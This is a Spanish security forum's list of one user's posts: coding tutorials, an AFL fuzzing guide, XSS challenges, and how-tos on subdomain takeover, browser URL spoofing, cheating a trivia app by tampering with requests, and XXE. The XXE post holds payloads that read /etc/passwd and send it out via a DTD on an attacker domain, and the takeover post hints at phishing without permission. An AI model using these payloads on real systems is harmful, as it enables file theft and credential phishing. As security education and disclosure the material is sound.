Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Mostrar Mensajes

Esta sección te permite ver todos los posts escritos por este usuario. Ten en cuenta que sólo puedes ver los posts escritos en zonas a las que tienes acceso en este momento.


Temas - Jimeno

Páginas: [1] 2
1
Bugs y Exploits / Cómo tomé el control de tu subdominio
« en: Septiembre 12, 2016, 02:23:15 pm »
Buenas a todos.

Me gustaría presentaros una técnica para tomar el control de ciertos dominios/subdominios de empresas. Es relativamente antigua, pero creo no haberla visto en blogs de habla hispana (no me echéis a los leones si me equivoco).

Como todos sabéis, la base para encontrar vulnerabilidades es la ENUMERACIÓN. Gracias a ella ampliamos exponencialmente nuestra superficie de ataque. Hay muchísimas herramientas para encontrar subdominios, es algo más que cubierto en los blogs de seguridad informática.

El nombre de la técnica es Subdomain Takeover o Toma de control de subdominio

Una vez elegido el dominio al que atacar (siempre teniendo permiso, por supuesto) podemos encontrarnos con que apunta a instancias de Heroku, Github, Amazon AWS, Sendgrid, etc. Es aquí cuando comienza nuestro ataque.
Hay empresas que crean instancias en dichos servicios y apuntan un subdominio hacia ellas. Tras un tiempo pueden eliminar dichas instancias, pero si se olvidan de eliminar el subdominio o hacer que no apunte hacia ellas podremos tomar el control del mismo.

En este caso en concreto la situación es la siguiente:
  • La empresa crea una instancia de almacenamiento (S3) en Amazon AWS
  • Apuntan su subdominio source.empresa.com hacia dicha instancia
  • Tras un tiempo eliminan la instancia PERO SE OLVIDAN DE CAMBIAR EL SUBDOMINIO

(en las imágenes se muestra cómo el subdominio sigue apuntando hacia la instancia ya eliminada)




Gracias a ello nosotros podemos hacer que dicho subdominio apunte hacia una instancia nuestra. En ella podemos almacenar simplemente algo para vacilar, spam de una empresa competidora, un phising... las opciones son muchas y cada cual más jugosa.

En el caso de AWS lo que deberemos hacer es conectarnos a nuestra cuenta (mejor a una anónima si no lo hacéis con permiso) y crear una nueva instancia con el nombre del subdominio (la parte de la izquierda en ANSWER SECTION en la imagen anterior, en mi caso source.empresa.com, es decir, todo lo anterior a s3.amazonaws.com).

Tras crear la instancia subiremos nuestro archivo (en mi caso un index.html en el que había <h1>pwned</h1>) a la misma y lo marcaremos como público.

(en la imagen se aprecia el resultado)


El resultado es que el subdominio apunta a nuestra instancia y tenemos control total del mismo:

(imagen)




Espero que os sirva de utilidad el post.


Más información y los primeros posts que leí sobre esta técnica:

2
Hacking ShowOff / URL Spoofing - Yandex Browser [Windows y Android]
« en: Julio 27, 2016, 09:25:07 am »
Buenas a todos.

Supongo que esteréis familiarizados ya con esta vulnerabilidad. En caso de que no lo estéis, se trata de conseguir que el navegador muestre una URL legítima (por ejemplo el login de Gmail) pero que realmente el usuario esté visitando el servidor del atacante o uno fraudulento.
Se puede aprovechar para muchos objetivos, a mí el principal que se me ocurre es mostrar un panel de login clonando el login de la página víctima. La víctima verá la URL legítima, pero realmente estará entregando sus credenciales al atacante.

Comenzamos por el navegador de Yandex (empresa que tiene Bug Bounty):

Citar
En el caso de Yandex ambas vulnerabilidades fueron reportadas y consideradas como duplicadas, es decir, otro investigador las ha reportado antes que yo. Si eres esa persona y deseas que elimine este post, contacta conmigo a través de Twitter y lo haré inmediatamente (@migueljimeno96).

Yandex Browser para Windows
(reporte enviado el 19 de Julio de 2016, 21:36)

Los pasos a seguir para falsificar la URL una vez el usuario visita la página fraudulenta son los siguientes:
  • Una vez la página ha cargado, se llama a una función de JS (en mi caso se llama a dicha función al pulsar un botón).
  • La función abre una nueva ventana utilizando window.open. Dicha ventana cargará la URL que deseamos falsificar.
  • Utilizaremos entonces document.write sobre dicha ventana para colocar nuestro contenido fraudulento (panel de login por ejemplo).

De forma que el código será el siguiente:
Código: HTML5
  1. function spoof() {
  2.         nWindow = window.open('https:/www.google.com', '_t1');
  3.         nWindow.document.write('<pre>Here we could place a phising login panel</pre>');
  4. }
  5. <input type="button" onclick="spoof()" value="PoC!">
  6. The page is being hosted in my server
  7.  

De tal forma que al pulsar sobre el botón en el navegador ocurría lo siguiente:




Tras intercambiar unos cuantos correos con el equipo de seguridad de Yandex la respuesta final fue la siguiente:


Citar
Hello!

Unfortunately the issue had been reported by another researcher before we got your report. We've been working on the fix for several days and it will be rolled out shortly.

Have a nice day!

Vasiliy Kuznetsov Yandex Security Team


Yandex Browser para Android
(reporte enviado el 19 de Julio de 2016, 18:41)

Los pasos a seguir fueron los mismos, de forma que la víctima veía lo siguiente:



Tras unos pocos días recibí los siguientes correos del equipo de seguridad:

Citar
Hello, Miguel Angel!
As for Android, I'll check it shortly because it look similar to one report we got the other day. I'll let you know in a few days.
Have a great weekend!

Citar
Hello, Miguel Angel!
I'm sorry, but the same bug had been reported by another researcher before we'd got your report. That's why we can't offer you a reward.

Enlace al writeup original: https://gist.github.com/jimen0/82dc027455c3b2a6e6c8110a5268b04d

Saludos y espero que os haya gustado!

3
Wargames y retos / Mini Reto explotación web [Fácil]
« en: Abril 28, 2016, 05:20:19 pm »
Buenas.

Os dejo un pequeño reto de explotación web.
Objetivo: enviar por MP a @Jimeno el contenido del fichero /banana/secret.lst
Podéis leerlo y dar por finalizado el reto o continuar con la explotación, es probable que podáis conseguir ser root :)
URL: http://52.58.126.85


Un saludo.

4
Reviews / Monta tu propio Gitlab en 5 minutos con Gogs
« en: Diciembre 23, 2015, 04:07:57 pm »
Buenas a todos.

Supongo que todos conoceréis Github y Git. Me gustaría presentaros un software que sirve para montar repositorios en local. Así podremos tener tantos repositorios privados y organizaciones como queramos de forma gratuita.

El software en cuestión es una especie de Gitlab creado en Golang, su nombre es Gogs, de sus siglas Go Git Service.


Podéis descargarlo desde su página oficial de forma gratuita https://gogs.io/docs/installation/install_from_binary.
Por supuesto es de código abierto: https://github.com/gogits/gogs


Su instalación y puesta en marcha es bastante simple, yo lo puse a correr en una Raspberry de forma correcta siguiendo los siguientes pasos:
  • Instalación de dependencias:
   - MySQL:
Código: Bash
  1. apt-get install mysql-server
   - Git:
Código: Bash
  1. apt-get install git
   - Golang:
Código: Bash
  1. hg clone -u default https://code.google.com/p/go $HOME/go
  2. cd ~/go/src/
  3. ./all.bash
      - editáis vuestro .bashrc y añadiís el path de Go:
Código: Bash
  1. export PATH=$PATH:$HOME/go/bin
        y luego recargáis el .bashrc con
Código: Bash
  1. source .bashrc
        Para comprobar que lo tenéis instalado lanzad go version
  • Una vez tengáis instaladas todas las dependencias yo os recomendaría instalar una más para poder dejar el servicio corriendo en el sistema sin necesidad de mantener una sesión de SSH abierta en él. En mi caso utilizo nohup
  • Creáis la Base de Datos necesaria en mysql:
Código: MySQL

  • Vais a la ruta donde tengáis Gogs, en mi caso ~/gogs y lo lanzáis de la siguiente forma:
Código: Bash
  1. nohup ./gogs web &
    - De esta forma lo podremos dejar corriendo aunque hayamos cerrado la conexión SSH.
  • Desde otro equipo o la Pi misma accedéis al servicio en la siguiente URL:
       - IPRaspberryPi:3000/
  • Seguís los pasos para la instalación y la rellenáis los campos de configuración y credenciales a vuestro gusto.
Si todo salió bien podréis crear repositorios y organizaciones tal y como lo hacéis en Github o Gitlab.



Como podéis ver consume muy pocos recursos y es algo bastante útil.



¡Saludos!

5
Wargames y retos / XSS Challenge [External Resources Problems]
« en: Julio 09, 2015, 09:02:30 am »
Buenas a todos.

Os traigo un pequeño reto de Cross Site Scripting reflejado.
NORMAS: descritas en la URL del reto
Envía tu solución por MP y postea un screenshot TAPANDO el payload
URL: http://192.3.54.224/reto1.php
NOTA: está claro que no es un caso muy realista, pero creo que es entretenido y uno de los trucos para llegar a la solución es algo que se debe conocer.

LA SOLUCIÓN ESPERADA FUNCIONA EN VARIOS NAVEGADORES
Se guardarán logs.

GANADORES:
  • 0:1
  • Arthusu - solución esperada
  • WhiZ - solución esperada

Saludos y suerte.

6
Bugs y Exploits / Encontrando crashes en bibliotecas [Fuzzing] AFL
« en: Junio 26, 2015, 06:20:36 pm »
Buenas a todos.

Como muchos de vosotros sabréis habitualmente se utilizan herramientas denominadas "fuzzers" para encontrar diferentes crashes en bibliotecas y después analizarlos en busca de uno explotable.
Me gustaría presentaros y hacer una pequeña demo con uno de los mejores fuzzers conocidos: American Fuzzy Lop (+ info y descarga: http://lcamtuf.coredump.cx/afl/)

Una vez instaladas las dependencias necesarias y AFL podemos pasar a fuzzear la biblioteca en cuestión.
Para ello necesitaremos (aunque no es imprescindible) el código fuente de la misma. En caso de no tenerlo deberemos hacer uso del flag "-n", lo que hará que seguramente no encontremos crashes o que tardemos demasiado porque vamos a ciegas.

Para este post yo usaré bmp2tiff, que es parte de libtiff. Para facilitar las cosas voy a utilizar una de las versiones más viejas, en concreto la versión 3.7.0 (descarga de cualquier versión antigua en http://download.osgeo.org/libtiff/old/)


Tras descomprimir el paquete en la ruta que queramos debemos indicar al compilador que usaremos el gcc y el g++ pertenecientes a American Fuzzy Lop en vez de los habituales y preparar la compilación.
Código: Bash
  1. export CC=afl-gcc
  2. export CXX=afl-g++
  3. ./configure --disable-shared

Limpiamos compilaciones anteriores y compilamos con los nuevos gcc y g++:
Código: Bash
  1. make clean
  2. make

Como siguiente paso comprobamos que se haya instalado correctamente la biblioteca:
Código: Bash
  1. ./tools/bmp2tiff

¡Bien! Está instalada correctamente.

Ahora deberemos conseguir varias entradas (cuantas más y más diversas mejor). En el caso de este tutorial bajaremos unas 57 imágenes con extensión .bmp y las meteremos en el directorio input/
Ahora dejaremos que AFL elija las entradas más apropiadas:
Código: Bash
  1. afl-cmin -i input -o input_final -- /rutabiblioteca/bmp2tiff @@ /dev/null



Nuestra entrada quedará ahora reducida a menos archivos.
Como siguiente paso comenzaremos el proceso de fuzzing mediante afl-fuzz:
Código: Bash
  1. afl-fuzz -i input_final -o output -- /rutabiblioteca/bmp2tiff @@ /dev/null

Comenzará así el proceso de fuzzing, que, naturalmente, depende de las capacidades de nuestro equipo y del buen desarrollo del ejecutable que queramos fuzzear.
Una vez obtengamos unos pocos crashes diferentes (unique) podremos utilizar variaciones de los mismos para obtener otros crashes nuevos y completamente diferentes.

Código: Bash
  1. afl-fuzz -i output/crashes/ -o output_final -C /rutabiblioteca/bmp2tiff @@ /dev/null

Tras un determinado tiempo comenzaremos a obtener crashes (o no).


Nota: si no especificamos otra cosa se utilizan 50 MB para cada test durante el fuzzeo.


Ahora deberemos analizar cada crash para comprobar si es o no explotable, pero eso queda para un futuro post (:

[+ info] ---> https://alexgaynor.net/2015/apr/13/introduction-to-fuzzing-in-python-with-afl/
[+ info] ---> http://lcamtuf.blogspot.com.es/2014/08/a-bit-more-about-american-fuzzy-lop.html
[+ info] ---> http://floyd.ch/download/introduction-fuzzing-with-afl.pdf


¡Saludos!




7
Buenas.
Tras varios meses viendo reportes de este tipo de vulnerabilidad a grandes sitios se me hace raro no ver una guía sobre ello en español, por ello estoy creando este post.
Siendo una de las vulnerabilidades más extendidas se ha ido haciendo famosa la frase "Is XXE the new SQLi?", en mi opinión lo es.

¿Qué es XXE?
Es un ataque contra una aplicación que interpreta entradas XML. El ataque es posible cuando la forma de interpretar el XML permite incluir entidades externas debido a su mala configuración. Puede llevar a lectura de archivos locales, descubrimiento y mapeo de red interna, denegaciones de servicio, etc.

¿Es XXE una vulnerabilidad extendida?
Sí. En los últimos meses se han visto reportes a Yahoo, eBay, Google, Shopify y muchas más empresas "gigantes".


Puntos de detección
Suele ser común encontrarla en los siguientes Content-Types: text/xml, application/xml.
Aunque también puede darse al parsear un documento Word (son muchos archivos .xml) unidos y comprimidos o en JSON que luego se parsea en forma de XML.


¿Cómo se explota XXE?
Se trata de malformar las peticiones con XML de forma que añadamos funcionalidades al intérprete de XML como leer un archivo local y enviar su contenido a un servidor externo (/etc/passwd).

Por ejemplo, una petición legítima estaría formada de la siguiente manera:
Código: XML
  1. <forgot><username>admin</username></forgot>

Con las siguientes cabeceras:

Código: [Seleccionar]
POST /forgotpw HTTP/1.1
Host: testhtml5.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
Accept: text/plain, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/xml; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://PAGINAVULNERABLE.COM
Content-Length: 43
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

Nuestro objetivo para comprobar si es vulnerable es incluir nuestras propias etiquetas XML, como por ejemplo:
Código: [Seleccionar]
<?xml version="1.0" encoding="utf-8"?>
 <!DOCTYPE etiqueta [ 
  <!ELEMENT etiqueta ANY >
  <!ENTITY entidad SYSTEM "file:///etc/passwd" >]><etiqueta>&entidad;</etiqueta>

De esta forma podremos leer cualquier archivo para el que el usuario que controla la aplicación tenga acceso, llamar a cualquier binario (ls, ping, ifconfig, nmap, rm, touch.... hay infinitas posibilidades), llamar a diferentes protocolos, como por ejemplo php://, ssh://, etc.

Explotación práctica (demo)
Para realizar la demo he elegido una aplicación web que es vulnerable por diseño: bWAPP

  • bWAPP
    Al acceder a la ruta vulnerable http://URL/bWAPP/xxe-1.php nos encontramos la siguiente aplicación web:


    Si llevamos a cabo la acción "deseada" por la web obtenemos una petición como la siguiente:

    Si queremos comprobar si es vulnerable trataremos de introducir una entidad externa y ver si nos devuelve un error o la procesa. Si hay error será que no es vulnerable, si por el contrario la procesa podremos seguir adelante con la explotación.
    Para esta demo solicitaré a la aplicación el fichero /etc/passwd mediante entidades XML. Modificaré el contenido de la petición para añadirlo, quedando así:
Código: [Seleccionar]
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE Header [ <!ENTITY valor SYSTEM "///etc/passwd"> ]>
<reset><login>&valor;</login><secret>Any bugs?</secret></reset>

Si procesamos la petición veremos que hemos tenido éxito y que hemos obtenido el contenido del fichero:


Ahora solo tendríamos que extender la explotación como quisiéramos, ya sea leyendo más archivos hasta obtener credenciales de acceso, escribiendo en archivos, llamando a protocolos, provocando un DoS al servidor.... sería dar rienda suelta a la imaginación.


Una de las opciones más usadas es solicitar al servidor un archivo como /etc/passwd y que envíe su contenido a un servidor en el que nosotros tengamos control de los logs o solicitar que se conecte a un .dtd que controlemos en nuestro servidor y que sea él quien le pida el contenido del archivo que deseamos leer.

Este podría ser nuestro DTD-PART
Código: [Seleccionar]
<!ENTITY % three SYSTEM "file:///etc/passwd">
<!ENTITY % two "<!ENTITY % four SYSTEM 'file:///"%three;"'>">

Y este el payload que enviamos a la aplicación:
 
Código: [Seleccionar]
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ 
  <!ENTITY % one SYSTEM "http://DOMINIO-ATACANTE.COM/dtd-part" >
  %one;
  %two;
  %four;
]>
 

    Saludos y hasta la próxima.

    8
    Manuales y libros / Exprimiendo la configuración de Sublime Text
    « en: Mayo 23, 2015, 05:21:47 pm »
    Buenas.

    Como todos sabéis Sublime Text es uno de los editores de código más usados en el mundo debido a su versatilidad, variedad de plugins y a que es multiplataforma y gratuito. Todos hemos añadido plugins o modificado el tema de nuestro Sublime Text, eso es algo de lo que no vengo a hablar. Pocas personas hemos decidido modificar las "entrañas" de nuestro querido IDE, y, la verdad, es algo que hace que programemos más a gusto.

    Hoy quiero centrarme en el siguiente archivo: Preferences.sublime-settings
    Este archivo indica la configuración que utilizará nuestro IDE, es donde podemos indicarle múltiples cosas como:
    • Fuente por defecto
    • Tema por defecto
    • Agregar línea en blanco al final de todos los archivos
    • Resaltar la línea en la que se encuentra el cursor
    • Paquetes a ignorar
    • Mostrar o no las tabulaciones y espacios (una especie de placeholder)
    • Márgenes arriba y abajo
    • Velocidad de scroll
    • Mostrar un recuadro en el mapa de texto
    • Y un largo etcétera

    El archivo se encuentra en la siguiente ruta en Windows: C:\Users\TUUSUARIO\AppData\Roaming\Sublime Text 2\Packages\User\Preferences.sublime-settings


    La estructura del archivo está creada en JSON. Por ejemplo:
    Código: [Seleccionar]
    {
            "font_face": "Source Code Pro",
    "font_size": 11
    }



    Si queréis ir a la documentación oficial de ese archivo de configuración lo podéis hacer pulsando aquí.
    Todo es ponerse a modificar los valores e ir probando si os gusta o no. Hay cientos de valores que podéis modificar.

    AVISO: no podéis indicar una fuente o una configuración de color que no tengáis instaladas.

    Os dejo un ejemplo de mi configuración actual y cómo se ve:
    Código: [Seleccionar]
    {
    "bold_folder_labels": true,
    "color_scheme": "Packages/Theme - Brogrammer/brogrammer.tmTheme",
    "draw_indent_guides": true,
    "caret_style": "phase",
    // "draw_white_space": "all", // dibuja una línea en los espacios en blanco previos a texto
    "show_encoding": true,
        "reveal-on-activate": true,
        "wide_caret": true,

    "font_face": "Source Code Pro",
    "font_size": 11,
    "ensure_newline_at_eof_on_save": true, // añade una línea al final de todos los archivos
    "draw_minimap_border": true, // marca en el mapa de texto la sección visualizada
    "highlight_line": true, // resalta la línea en la que está el cursor
    "ignored_packages":
    [
    "Vintage"
    ],
    "trim_trailing_white_space_on_save": true
    }



    Vista:


    Y aquí tenéis otros archivos que he encontrado que os pueden servir como guía para crear el vuestro:
    Código: [Seleccionar]
    {
    "auto_complete_commit_on_tab": true,
    "bold_folder_labels": true,
    "color_scheme": "Packages/Color Scheme - Default/Twilight.tmTheme",
    "ensure_newline_at_eof_on_save": true,
    "file_exclude_patterns":
    [
    ".DS_Store",
    ".tags*",
    "*.pyc",
    "*.pyo",
    "*.exe",
    "*.dll",
    "*.obj",
    "*.o",
    "*.a",
    "*.lib",
    "*.log",
    "*.so",
    "*.dylib",
    "*.ncb",
    "*.sdf",
    "*.suo",
    "*.pdb",
    "*.idb",
    "*.class",
    "*.psd",
    "*.db",
    "*.pdf"
    ],
    "folder_exclude_patterns":
    [
    "data",
    ".zeus.sock",
    ".git",
    ".svn",
    ".hg",
    "CVS",
    ".sass-cache",
    ".bundle",
    "bundle",
    ".rbx",
    "script",
    "tmp"
    ],
    "font_face": "Inconsolata-dz",
    "font_size": 21.0,
    "highlight_line": true,
    "highlight_modified_tabs": true,
    "ignored_packages":
    [
    "Vintage"
    ],
    "line_padding_bottom": 0.5,
    "line_padding_top": 0.5,
    "new_window_settings":
    {
    "show_minimap": false
    },
    "rulers":
    [
    80
    ],
    "save_on_focus_lost": true,
    "tab_size": 2,
    "theme": "Soda Light.sublime-theme",
    "translate_tabs_to_spaces": true,
    "trim_trailing_white_space_on_save": true
    }

    Código: [Seleccionar]
    {
        "auto_complete_triggers":
        [
            {
                "characters": "<",
                "selector": "text.html"
            },
            {
                "characters": "/",
                "selector": "string.quoted.double.html,string.quoted.single.html, source.css"
            }
        ],
        "color_scheme": "Packages/theme brogrammer/brogrammer.tmTheme",
        "font_size": 13,
        "ignored_packages":
        [
            "Python 3",
            "Vintage",
            "Better CoffeeScript"
        ],
        "file_exclude_patterns":
        [
            ".DS_Store",
            "*.lib",
            "*.log"
        ],
        "folder_exclude_patterns":
        [
            ".git",
            ".bundle",
            ".sass-cache",
            ".svn",
            ".hg"
        ],
        "reveal-on-activate": true,
        "show_encoding": true,
        "tab_size": 4,
        "translate_spaces_to_tabs": true,
        "highlight_line": true,
        "highlight_modified_tabs": true,
        "scroll_past_end": true,
        "scroll_speed": 2,
        "close_windows_when_empty": true,
        "use_simple_full_screen": true,
        "wide_caret": true,
        "word_wrap": true,
        "show_full_path": true,
        "remember_open_files": true,
        "remember_open_folders": true,
        "match_brackets": true,
        "match_brackets_angle": true,
        "match_brackets_braces": true,
        "match_brackets_content": true,
        "match_brackets_square": true,
        "draw_indent_guides": true,
        "draw_white_space": "selection",
        "bold_folder_labels": true
    }


    Código: [Seleccionar]
    {
    "bold_folder_labels": true,
    "color_scheme": "Packages/Tomorrow Night Color Scheme/Tomorrow-Night-Eighties.tmTheme",
    "detect_indentation": false,
    "draw_minimap_border": true,
    "draw_white_space": "all",
    "ensure_newline_at_eof_on_save": true,
    "fade_fold_buttons": false,
    "find_selected_text": true,
    "font_face": "Inconsolata",
    "font_size": 16.0,
    "highlight_line": true,
    "ignored_packages":
    [
    "Vintage"
    ],
    "line_padding_bottom": 1,
    "line_padding_top": 1,
    "margin": -1,
    "open_files_in_new_window": false,
    "rulers":
    [
    120
    ],
    "shift_tab_unindent": true,
    "tab_size": 4,
    "theme": "Soda Dark.sublime-theme",
    "trim_trailing_white_space_on_save": true,
    "word_separators": "./\\()\"'-:,.;<>[email protected]#$%^&*|+=[]{}`~?_",
    "word_wrap": true,
    "wrap_width": 120
    }


    Como veis hay múltiples parámetros que se pueden editar para dejar Sublime Text tanto con el tema como con la fuente y aspecto visual perfectos para nosotros. Si a eso le añadimos los miles de plugins disponibles tenemos uno de los mejores IDE del mundo.


    Saludos.

    9
    Off Topic / [PHP Hater] Motivos para odiar PHP. Capítulo I
    « en: Mayo 04, 2015, 12:28:14 pm »
    Os dejo un motivo para odiar PHP con toda vuestra alma:



    Código:
    Código: PHP
    1. <?php
    2. if ("0" == "0e830400451993494058024219903391") {
    3.         echo "fuck";
    4. }
    5. ?>
    6.  


    EDITO:
    Explicación:
    PHP castea todo lo que parece un número a float y luego lo compara, es decir, "1e3" == "1000" devolvería true.
    Recomiendan usar strcmp() para este tipo de comparaciones.



    Saludos.

    10
    Bugs y Exploits / Acertando SIEMPRE en Preguntados (App Trivial)
    « en: Abril 16, 2015, 10:48:17 am »
    Buenas a todos.

    Llevaba un tiempo viendo que cada día más gente jugaba a esta aplicación con sus amigos y hoy me he planteado vencer siempre en ella.
    Aquí os dejo los resultados:

    Link a la APP: https://play.google.com/store/apps/details?id=com.etermax.preguntados.lite&hl=es

    El sistema de validación de respuestas se compone de peticiones compuestas en JSON a una API. Por ello decidí capturar el tráfico y ver su estructura.
    Se envía el ID de pregunta, la categoría, la respuesta elegida y una serie de parámetros más, por lo que ya imaginaréis por dónde van los tiros.

    Capturamos el tráfico con Burp, respondemos al azar, vemos la respuesta acertada tras nuestro error y modificamos la petición para que la contenga, tan simple como eso.

    Aquí tenéis el vídeo de PoC:
    [vimeo][/vimeo]

    Por tanto nuestra estrategia será la siguiente:
    • Retar a nuestro adversario o elegir una partida aleatoria.
    • Esperar a nuestro turno
    • Activar nuestro Proxy (en mi caso Burp)
    • Responder al AZAR y FIJARNOS EN LA RESPUESTA MARCADA COMO CORRECTA. DATO: los índices van [0, 1, 2, 3] de arriba a abajo
    • Modificar la petición y poner el índice correcto.
    • REPEAT, FUN AND PROFIT!


    Espero que os sea de utilidad.
    Saludos.

    11
    Wargames y retos / Underc0de Weekend #5
    « en: Enero 22, 2015, 02:16:52 pm »
    Buenas a todos.
    Aquí os traigo el reto semanal.


    Titulo: XSS - Script context

    Objetivo: lograr XSS en un navegador actualizado sin modificar el código.

    Reglas:
    • NO UTILIZAR HERRAMIENTAS AUTOMATIZADAS
    • payload válido para la última versión de Chrome, Firefox, Ópera o IE.
    Consejos: Firefox o cualquier navegador versión no estable (Nightly, versiones en desarrollo de Chrome, etc) servirán de ayuda.
    Solución esperada: funcional en la última versión de Firefox. Longitud: 18.

    URL del reto: http://alert0ordie.host56.com/underc0de/doc.php

    A entregar: captura mostrando el alert y tapando el payload, MP con el payload y explicación de por qué funciona.
    En caso de no haber soluciones pasada una semana se publicará un pequeño solucionario en esta misma zona del foro.


    POSIBLES GANADORES:
    • WhiZ - Solución semejante a la esperada, FF only
    • Arthusu - Solución semejante a la esperada, FF only (PD: también pasaste este reto, ¡enhorabuena!)

    Saludos y suerte.

    12
    C / C++ / Introducción a THREADS en C
    « en: Enero 19, 2015, 07:27:17 pm »
    Buenas.
    Se trata de una introducción al uso de threads con C. El código que se utilizará para explicarlos será un contador hasta 1.000.000.

    Antes de nada debemos preguntarnos una cosa:
    ¿QUÉ ES UN THREAD?
    En sistemas operativos, un hilo de ejecución, hebra o subproceso es la unidad de procesamiento más pequeña que puede ser planificada por un sistema operativo. (WIKIPEDIA)

    ¿QUÉ VENTAJAS NOS OFRECEN LOS THREADS?
    • Tardamos menos en generar un nuevo thread dentro de un proceso que generar un proceso nuevo.
    • Tardamos menos en finalizar un thread que un proceso.
    • Es más rápido saltar entre threads que hacerlo entre procesos.

    Para llevar a cabo esta tarea usaremos la biblioteca pthread.h en nuestro código (quien quiera leer su documentación completa puede hacerlo aquí: http://pubs.opengroup.org/onlinepubs/007908799/xsh/pthread.h.html)

    Veamos el código de ejemplo que crearemos:
    Código: C
    1. /*
    2. *       Autor: Jimeno
    3. *       Uso de threads en C.
    4. *      Compilar: clear && gcc -Wall -Wextra -o a.out -O4 -pthread example.c && ./a.out
    5. */
    6. #include <stdio.h>
    7. #include <stdlib.h>
    8. #include <unistd.h>
    9. #include <pthread.h>
    10. #include <sys/types.h>
    11.  
    12. #define THREADS         2
    13. #define MAX       1000000
    14.  
    15. struct tdata {
    16.         int tid;
    17. };
    18.  
    19. unsigned long counter = 0;
    20.  
    21. void *go(void *pointer) {
    22.         unsigned long i;
    23.         unsigned long max = MAX/THREADS;
    24.         int tid = ((struct tdata *)pointer)->tid;
    25.         for (i = 0; i < max; i++) {
    26.                 counter += 1;
    27.         }
    28.         printf("Counter number %d - value: %lu\n", tid, counter);
    29.         pthread_exit(NULL);
    30.         return NULL;
    31. }
    32.  
    33. int main(void) {
    34.         int creator, i;
    35.         pthread_t threads[THREADS];
    36.         struct tdata id[THREADS];
    37.  
    38.         for (i = 0; i < THREADS; i++) {
    39.                 id[i].tid = i;
    40.                 creator = pthread_create(&threads[i], NULL, go, (void *)&id[i]);
    41.                 if (creator != 0) {
    42.                         printf("ERROR creating thread number %d\n", i);
    43.                         exit(-1);
    44.                 }
    45.                 printf("\n");
    46.         }
    47.         for (i = 0; i < THREADS; i++) {
    48.                 pthread_join(threads[i], NULL);
    49.                 usleep(1);
    50.                 printf("main is running...\n");
    51.         }
    52.  
    53.         printf("\nFinal value: %lu\nExpected value: %d\n", counter, MAX);
    54.         return 0;
    55. }
    56.  

    OUTPUT:

    Vemos que identificaremos nuestros threads por su ID (tid). Por tanto si el objetivo que nos hemos marcado es crear un contador hasta un millón y hemos dividido nuestro código en dos threads, veremos que cada thread alcanza el valor de 500.000. En la segunda línea de la función go hacemos esta tarea, creamos un valor máximo para cada thread.


    Estoy de exámenes finales y no me da tiempo a escribir más hoy, en cuanto pueda saco la segunda parte.
    Saludos.

    13
    Off Topic / Vídeos Cybercamp 2014
    « en: Diciembre 28, 2014, 03:53:08 pm »
    Buenas a todos. Como muchos de vosotros sabréis los días 5, 6 y 7 de Diciembre se celebró en Madrid la primera edición del congreso de seguridad informática Cybercamp.
    Esta semana los organizadores (INCIBE) han subido a YouTube los vídeos de las charlas y conferencias impartidas. Os dejo unos cuantos vídeos y el enlace al canal en el que están subidas.
    Son realmente recomendables ya que pudimos disrutar de charlas de auditores de Stack Overflow, gente como los creadores de Flu Project, Security by Default, etc. Incluso yo mismo impartí una charla ;)

    Canal: https://www.youtube.com/user/intecocert/videos
    Algunas charlas:
    Raúl Siles:

    Pablo González:

    Alejandro Ramos:

    Marc Rivero:

    Jimeno y Pr0ph3t:


    Espero que disfrutéis de las charlas y aprendáis como yo lo hice durante el evento.
    Saludos.

    14
    Buenas.
    Sé que es una duda un poco estúpida sabiendo la cantidad de guías que hay al buscar en Google, pero en varias he encontrado pasos que directamente se contradicen, por ello quiero publicar el tema.
    El objetivo es instalar Cyanogenmod en su última versión en mi Nexus 4.
    Los datos del teléfono: NO está rooteado, el sistema que tiene instalado es Android 4.4.4 sin modificar, NO tiene bootloader abierto ni nada, ahora mismo está de fábrica pero con 4.4.4


    Jriasias d hante vraso hamijos,
    Un saludo.

    15
    C / C++ / [C] Texto a ROT13
    « en: Octubre 15, 2014, 12:38:31 pm »
    ¡Buenas!
    Traigo un corto código en C para cifrar la entrada de texto a ROT13 (aunque se puede cambiar el 13 en el código para modificar el cifrado).
    Era un ejercicio de clase, y al revisar la sección vi el código de Rolo en C++, pero no había en C, así que lo he codeado (de forma bastante cutre, pero funciona).
    Código: C
    1. #include <stdio.h>
    2. #define MOV 13
    3. char encode(char c){
    4.         if(c >= 'A' && c <= 'Z' || c>= 'a' && c <= 'z'){
    5.                 if(c < 'A'){
    6.                         return c;
    7.                 }
    8.                 else if(c < 'A' + MOV){
    9.                         c += MOV;
    10.                 }
    11.                 else if(c <= 'Z'){
    12.                         c -= MOV;
    13.                 }
    14.                 else if(c < 'a' + MOV){
    15.                         c += MOV;
    16.                 }
    17.                 else if(c >= 'a' + MOV){
    18.                         c -= MOV;
    19.                         return c;
    20.                 }
    21.         }
    22.         else{
    23.                 return c;
    24.         }
    25.  
    26. }
    27. main(){
    28. printf("Introduce texto y pulsa ENTER para cifrarlo:\n");
    29.   int c;
    30.   while((c = getchar()) != EOF){
    31.     c = encode(c);
    32.     putchar(c);
    33.   }
    34. }

    Si queréis modificar el cifrado cambiad el valor de MOV en el define.


    Un saludo.

    16
    Wargames y retos / Reto Oficial XSS [Dificultad: difícil]
    « en: Septiembre 24, 2014, 04:16:18 pm »
    Buenas, este es el último de la serie de retos que programé.
    Como en todos los demás el filtro está sacado de una empresa real y modificado para complicar un poco la labor.
    En este caso NO hay PHP, todo se filtra a través de una función en Javascript, por lo que no hay magia del lado del servidor, conoceréis el filtro y cómo funciona, así que no tenéis excusas.
    Las normas:
     1- No usar herramientas automatizadas.
     2- El payload debe ser funcional para al menos dos navegadores actuales (IE, Firefox, Chrome, Ópera o Safari).
     3- Para ser ganador del reto debes postear un screenshot en el navegador tapando el payload y enviarme el mismo por MP para validarlo.

    Absolutamente todo lo que ocurre en el reto está preparado para que así sea.

    URL: http://alert0ordie.host56.com/reto/


    Ganadores:
    1- Blackdrake
    2- Kid_goth
    3- WhiZ y fermino



    Saludos y a XSSear!

    17
